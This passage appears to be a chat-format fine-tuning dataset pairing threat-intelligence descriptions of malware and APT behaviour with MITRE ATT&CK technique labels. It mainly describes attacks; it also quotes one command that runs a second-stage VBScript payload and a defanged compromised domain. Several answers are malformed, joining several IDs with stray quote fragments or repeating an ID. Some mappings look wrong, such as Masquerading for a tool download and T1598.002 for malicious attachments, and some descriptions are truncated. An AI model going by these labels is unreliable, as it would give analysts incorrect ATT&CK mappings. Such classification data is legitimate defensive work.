                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The configuration blob is encoded using a simple single-byte XOR scheme"
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "PUNCHTRACK scrapes memory for properly formatted payment card data."
            },
            {
                "role": "assistant",
                "content": "T1005 - Data from Local System"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "collects the OS name, machine name, and architecture information."
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "XCSSET exfiltrates data stolen from a system over its C2 channel."
            },
            {
                "role": "assistant",
                "content": "T1041 - Exfiltration Over C2 Channel"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "collects various information via WMI requests, including CPU information in the Win32_Processor entry (Processor ID, Name, Manufacturer and the clock speed)."
            },
            {
                "role": "assistant",
                "content": "T1047 - Windows Management Instrumentation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Naming conventions designed to blend into normal operations (e.g. amsc.exe, msvsvr.dll, alg.exe) - Dropping implants in folders named for legitimate software (e.g"
            },
            {
                "role": "assistant",
                "content": "T1036.004 - Masquerading: Masquerade Task or Service', 'T1036.005 - Masquerading: Match Legitimate Name or Location', 'T1036.004 - Masquerading: Masquerade Task or Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "has a tool that can list out currently running processes."
            },
            {
                "role": "assistant",
                "content": "T1057 - Process Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Pupy can enable/disable RDP connection and can start a remote desktop session using a browser web socket client."
            },
            {
                "role": "assistant",
                "content": "T1021.001 - Remote Services: Remote Desktop Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Patchwork collected the victim computer name, OS version, and architecture type and sent the information to its C2 server. Patchwork also enumerated all available drives on the victim's machine."
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "In September 2017, Proofpoint researchers detailed the history and ongoing activities of an actor we track as TA505. TA505 was behind many of the Dridex campaigns that plagued organizations in 2015 and introduced Locky ransomware in 2016, bringing unprecedented scale to malicious spam distribution. Since we wrote our original TA505 profile, the actor has continued to explore the use of new malicious attachments and new payloads. In 2018, though, the scale and regularity of their campaigns decreased, while the diversity of payloads has increased. Given the importance of this actor in the email threat landscape we wanted to revisit our profile and update it with the latest activity from TA505"
            },
            {
                "role": "assistant",
                "content": "T1566.001 - Phishing: Spearphishing Attachment"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "POWERSTATS has the ability to identify the username on the compromised host."
            },
            {
                "role": "assistant",
                "content": "T1033 - System Owner/User Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "SodaMaster can use \"stackstrings\" for obfuscation."
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Explosive can scan all .exe files located in the USB drive."
            },
            {
                "role": "assistant",
                "content": "T1025 - Data from Removable Media"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "4H RAT has the capability to create a remote shell."
            },
            {
                "role": "assistant",
                "content": "T1059.003 - Command and Scripting Interpreter: Windows Command Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "NOKKI has established persistence by writing the payload to the Registry key \"HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\"."
            },
            {
                "role": "assistant",
                "content": "T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "can scan victim drives to look for specific banking software on the machine to determine next actions. It also looks at browsing history and open tabs for specific strings."
            },
            {
                "role": "assistant",
                "content": "T1083 - File and Directory Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Micropsia creates a command-line shell using cmd.exe."
            },
            {
                "role": "assistant",
                "content": "T1059.003 - Command and Scripting Interpreter: Windows Command Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Honeybee adds collected files to a temp.zip file saved in the %temp% folder, then base64 encodes it and uploads it to control server."
            },
            {
                "role": "assistant",
                "content": "T1074.001 - Data Staged: Local Data Staging', 'T1560 - Archive Collected Data"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "TinyZBot can create a shortcut in the Windows startup folder for persistence."
            },
            {
                "role": "assistant",
                "content": "T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder', 'T1547.009 - Boot or Logon Autostart Execution: Shortcut Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "can be configured to use raw TCP or UDP for command and control."
            },
            {
                "role": "assistant",
                "content": "T1095 - Non-Application Layer Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "This time, the text is from the novel \"The Brothers Karamazov\" by Fyodor Dostoevsky (a Russian writer). The malicious document drops a Python interpreter and PoetRAT. The author made a few changes to the PoetRAT malware, though. First, the malware uses pyminifier to obfuscate the Python script and avoid detection based on string or YARA rules: The obfuscation is a base64 and an LZMA compression algorithm. Secondly, the author split the malware in a couple of different files. For example, the variables are stored in a \"Constant.py\" file containing the C2 server and the configuration. The most notable change is the protocol used to download and upload files"
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Earth Lusca required users to click on a malicious file for the loader to activate."
            },
            {
                "role": "assistant",
                "content": "T1204.002 - User Execution: Malicious File"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "has collected emails from victim Microsoft Exchange servers."
            },
            {
                "role": "assistant",
                "content": "T1114 - Email Collection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Valak can download additional modules and malware capable of using separate C2 channels."
            },
            {
                "role": "assistant",
                "content": "T1104 - Multi-Stage Channels"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Gamaredon Group has delivered macros which can tamper with Microsoft Office security settings."
            },
            {
                "role": "assistant",
                "content": "T1562.001 - Impair Defenses: Disable or Modify Tools"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "encrypts C2 traffic using RC4 with a static key."
            },
            {
                "role": "assistant",
                "content": "T1573 - Encrypted Channel"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "DanBot can use HTTP in C2 communication."
            },
            {
                "role": "assistant",
                "content": "T1071.001 - Application Layer Protocol: Web Protocols"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Turla has used \"net user\" to enumerate local accounts on the system."
            },
            {
                "role": "assistant",
                "content": "T1087.001 - Account Discovery: Local Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "In one instance we observed, one of the initial malware delivered to the victim, RATANKBA (TROJ_RATANKBA.A), connects to a legitimate but compromised website (eye-watch[.]in:443, a mobile application-selling site) from which a hack tool (nbt_scan.exe) is also downloaded"
            },
            {
                "role": "assistant",
                "content": "T1036 - Masquerading"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT34 malware often uses HTTP and DNS for C2. The group has also used the Plink utility and other tools to create tunnels to C2 servers."
            },
            {
                "role": "assistant",
                "content": "T1071 - Application Layer Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "m\": mode: net or local. local - encrypt local drives only and ignore network shares. h\": path to a file that contains specific hosts (names and IPs) to enumerate for shares. s\": IP address that the initial register message will be sent to"
            },
            {
                "role": "assistant",
                "content": "T1016 - System Network Configuration Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "PlugX checks if VMware tools is running in the background by searching for any process named \"vmtoolsd\"."
            },
            {
                "role": "assistant",
                "content": "T1497.001 - Virtualization/Sandbox Evasion: System Checks"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "For FunnyDream, the threat actors used a new backdoor named FunnyDream."
            },
            {
                "role": "assistant",
                "content": "T1588.001 - Malware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Rocke's miner, \"TermsHost.exe\", evaded defenses by injecting itself into Windows processes, including Notepad.exe."
            },
            {
                "role": "assistant",
                "content": "T1055.002 - Process Injection: Portable Executable Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The maldocs used in this campaign typically contain a malicious VBA macro that downloads and activates the next stage of the infection chain. Although the VBA macro contains an auto open subroutine, it uses several VBA functions registered to trigger if the \"Typing replaces selection\" property is enabled in Microsoft Word. The VBA functions trigger when the victim types any content into the maldoc. Appdata%\\desktop.iniThe next stage of the VBS is run using wscript.exe using a command such as:%windir%\\System32\\wscript.exe //e:vbscript //b &lt;path_to_Stage_2&gt;Macros dropping VBS to disk and running via wscript.exe"
            },
            {
                "role": "assistant",
                "content": "T1204.002 - User Execution: Malicious File', 'T1059.005 - Command and Scripting Interpreter: Visual Basic', 'T1059.005 - Command and Scripting Interpreter: Visual Basic"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "After all the initial HTTP GET requests, the malware starts to gather JSON-formatted system data. For all the fixed drives in the system, the network module stores the disk name and size, as well as computer and user name, Windows directory, host IP, etc"
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware will actually search through the /Users/ folder looking for executable files. When it finds one, it will prepend malicious code to the beginning of the file. This means that when the file is executed, the malicious code is executed first. That code will then copy the legit file content into a new, invisible file and execute that"
            },
            {
                "role": "assistant",
                "content": "T1036.005 - Masquerading: Match Legitimate Name or Location', 'T1554 - Compromise Host Software Binary"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "PoisonIvy creates a Registry subkey that registers a new system device."
            },
            {
                "role": "assistant",
                "content": "T1112 - Modify Registry"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "TA505 has used malware to disable Windows Defender."
            },
            {
                "role": "assistant",
                "content": "T1562.001 - Impair Defenses: Disable or Modify Tools"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "FIN6 has used WMI to automate the remote execution of PowerShell scripts."
            },
            {
                "role": "assistant",
                "content": "T1047 - Windows Management Instrumentation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT40 also uses publicly available brute-forcing tools and a custom utility called DISHCLOTH to attack different protocols and services"
            },
            {
                "role": "assistant",
                "content": "T1110 - Brute Force"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "KEYS Deletes the file named by tempPath + “ky” file so as not to upload anything"
            },
            {
                "role": "assistant",
                "content": "T1070.004 - Indicator Removal on Host: File Deletion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT38 has used Hermes ransomware to encrypt files with AES256."
            },
            {
                "role": "assistant",
                "content": "T1486 - Data Encrypted for Impact"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "can list connected devices."
            },
            {
                "role": "assistant",
                "content": "T1120 - Peripheral Device Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "spwebmember was written in Microsoft .NET and includes hardcoded values for client project names for data extraction"
            },
            {
                "role": "assistant",
                "content": "T1114.002 - Email Collection: Remote Email Collection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "JPIN can use the command-line utility cacls.exe to change file permissions."
            },
            {
                "role": "assistant",
                "content": "T1059.003 - Command and Scripting Interpreter: Windows Command Shell', 'T1222.001 - File and Directory Permissions Modification: Windows File and Directory Permissions Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "FALLCHILL uses fake Transport Layer Security (TLS) to communicate with its C2 server."
            },
            {
                "role": "assistant",
                "content": "T1001.003 - Protocol or Service Impersonation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Nebulae can use TCP in C2 communications."
            },
            {
                "role": "assistant",
                "content": "T1095 - Non-Application Layer Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "lists processes running on the system."
            },
            {
                "role": "assistant",
                "content": "T1057 - Process Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Evilnum can deploy additional components or tools as needed."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Flagpro has been used to run the \"whoami\" command on the system."
            },
            {
                "role": "assistant",
                "content": "T1033 - System Owner/User Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "malware installs itself as a service to provide persistence and SYSTEM privileges."
            },
            {
                "role": "assistant",
                "content": "T1543.003 - Create or Modify System Process: Windows Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT33 has lured users to click links to malicious HTML applications delivered via spearphishing emails."
            },
            {
                "role": "assistant",
                "content": "T1204.001 - Malicious Link"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The C2 server will provide the pre-shared key within the response data and will provide the session ID value via the Set-Cookie field within the response, specifically the string after the PHPSESSID parameter of the cookie"
            },
            {
                "role": "assistant",
                "content": "T1573 - Encrypted Channel"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "SoreFang has the ability to encode and RC6 encrypt data sent to C2."
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The Information Gathering Tool (IGT) tool is coded in Delphi and includes powershell and SQL components across a dozen different drops"
            },
            {
                "role": "assistant",
                "content": "T1546.013 - Event Triggered Execution: PowerShell Profile', 'T1059.001 - Command and Scripting Interpreter: PowerShell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Transparent Tribe has historically used military and defense-themes in their phishing emails and maldocs to target Indian military and government personnel. Figure 6: Transparent Tribe's spear-phishing email targeting defense personnel. This is in line with previous reporting on Transparent Tribe's use of official COVID-19 applications and content to serve Android malware. Figure 7: Attached malicious XLS macro. Another lure targeted Indian Defense Advisors attached to various Indian embassies in Southeast Asia, as seen in Figure 8"
            },
            {
                "role": "assistant",
                "content": "T1566.001 - Phishing: Spearphishing Attachment"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Ember Bear has used an open source batch script to modify Windows Defender registry keys."
            },
            {
                "role": "assistant",
                "content": "T1112 - Modify Registry"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "GoldMax can spawn a command shell, and execute native commands."
            },
            {
                "role": "assistant",
                "content": "T1059.003 - Command and Scripting Interpreter: Windows Command Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "LAPSUS$ has used DCSync attacks to gather credentials for privilege escalation routines."
            },
            {
                "role": "assistant",
                "content": "T1003.006 - OS Credential Dumping: DCSync"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Carbanak checks the Registry key \"HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\" for proxy configurations information."
            },
            {
                "role": "assistant",
                "content": "T1012 - Query Registry"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The infection chain starts with an email in which the victim receives a download link that fetches the first-stage downloader. As we found in our analysis, this first-stage downloader is responsible for fetching a malicious MSI file hosted on an attacker-controlled GitHub page. This MSI file is downloaded and executed on the endpoint. As a result, a malicious Python-compiled binary is dropped on the file system, which uses the Dropbox API for command-and-control (C&amp;C) communication"
            },
            {
                "role": "assistant",
                "content": "T1566.002 - Phishing: Spearphishing Link', 'T1105 - Ingress Tool Transfer', 'T1102.002 - Bidirectional Communication', 'T1204.001 - Malicious Link"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "uses Port Numbers 443 and 80 for the C2 server."
            },
            {
                "role": "assistant",
                "content": "T1043 - Commonly Used Port"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Bisonal can check the system time set on the infected host."
            },
            {
                "role": "assistant",
                "content": "T1124 - System Time Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The executable version of  has a module to log keystrokes."
            },
            {
                "role": "assistant",
                "content": "T1056 - Input Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Saint Bot has used `is_debugger_present` as part of its environmental checks."
            },
            {
                "role": "assistant",
                "content": "T1622 - Debugger Evasion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "ThiefQuest hides a copy of itself in the user's \"~/Library\" directory by using a \".\" at the beginning of the file name followed by 9 random characters."
            },
            {
                "role": "assistant",
                "content": "T1564.001 - Hide Artifacts: Hidden Files and Directories"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The next step after installing the malicious service would be to set up tunnels to access to the infected machine from remote hosts, for example using the following command"
            },
            {
                "role": "assistant",
                "content": "T1090 - Proxy"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Shamoon attempts to copy itself to remote machines on the network."
            },
            {
                "role": "assistant",
                "content": "T1570 - Lateral Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "has delivered zero-day exploits and malware to victims via targeted emails containing malicious attachments."
            },
            {
                "role": "assistant",
                "content": "T1598.002 - Spearphishing Attachment"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "KillDisk attempts to reboot the machine by terminating specific processes."
            },
            {
                "role": "assistant",
                "content": "T1529 - System Shutdown/Reboot"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Vidar is an info-stealer. It downloads DLL files freebl3.dll, mozglue.dll, msvcp140.dll, nss3.dll, softokn3.dll and vcruntime140.dll from its C&C for use in password-grabbing routines."
            },
            {
                "role": "assistant",
                "content": "T1588.001 - Malware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "BADNEWS Much of BADNEWS has remained consistent from when it was originally discussed by Forcepoint in August 2016. To briefly recap, the BADNEWS malware family acts as a backdoor, with communication occurring over HTTP. A number of commands are provided to the attackers, including the ability to download and execute additional information, upload documents of interest, and take screenshots of the desktop. This tactic uses public web services to host content that contains encoded commands that are decoded by the malware"
            },
